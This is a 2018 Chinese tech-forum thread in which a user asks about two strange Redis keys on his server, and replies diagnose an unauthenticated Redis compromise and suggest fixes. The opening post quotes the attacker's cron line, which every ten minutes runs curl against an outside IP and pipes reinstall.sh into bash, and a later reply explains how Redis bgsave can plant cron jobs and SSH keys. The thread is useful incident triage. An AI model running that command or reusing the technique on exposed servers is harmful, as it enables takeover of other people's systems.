一条内容是
-e
*/10 * * * * curl -s http://207.226.143.174:443/reinstall.sh | bash
另一条是
ssh-a xxxxxxxxxx...
root@hxkvm
不是很明白,目前只开放了 redis mysql 和 ssh 这三个端口
This topic created in 3144 days ago, the information mentioned may be changed or developed.
Supplement 1 · Mar 28, 2018
关了 ,先用本地 docker 了
 |
tomczhenMar 28, 2018
1
请个运维吧，兼职的也行。
|
 |
ericlsMar 28, 2018 via iPhone
2
你看看你的 authorized_keys 有没有被串改？
|
 |
dltsglMar 28, 2018
4
redis 没密码吧？被人远程攻击了？
|
 |
iamseeMar 28, 2018
5
这是被攻击了
|
 |
SakuraKumaMar 28, 2018
7
装好没启动之前就应该设置密码。
|
 |
8
@SakuraKuma。。。gg，先用着了
|
 |
airycanonMar 28, 2018
9
redis-cli 然后 CONFIG GET dir 看看值是什么。
|
 |
lairdnoteMar 28, 2018
11
兼职的运维要吗?
|
 |
msg7086Mar 28, 2018
12
被人入侵了的话：
1. 如果你 root 账号被人拿到的话，除了重装系统，你不可能把系统弄干净。 2. 如果你服务器被人入侵以后干坏事的话，你需要付法律责任。 |
 |
SourceManMar 28, 2018
13
redis 不是默认改端口、禁外网的吗？
|
 |
abmin521Mar 28, 2018
14
redis 未授权漏洞
|
 |
julyclydeMar 29, 2018
15
这格式像 crontab 啊
问题是 crontab 不能通过网络注入吧？ |
|
airycanonApr 24, 2018
17
未读提醒有问题，没看到你的回复。
你需要注意 redis 配置的 dir 和 dbfilename，因为 redis 在执行 bgsave 的时候会把 key 写入文件 dir/dbfilename 中。 第一个 key 如果写入 /var/spool/cron 里，就可以变成 crontab 定时任务。 第二个 key 很明显就是 ssh 公钥了，可以直接 ssh 登录。 如果你的 redis 需要开放到公网，不要用 root 用户启动，最好加个验证并设置 bing ip。 |
Select Language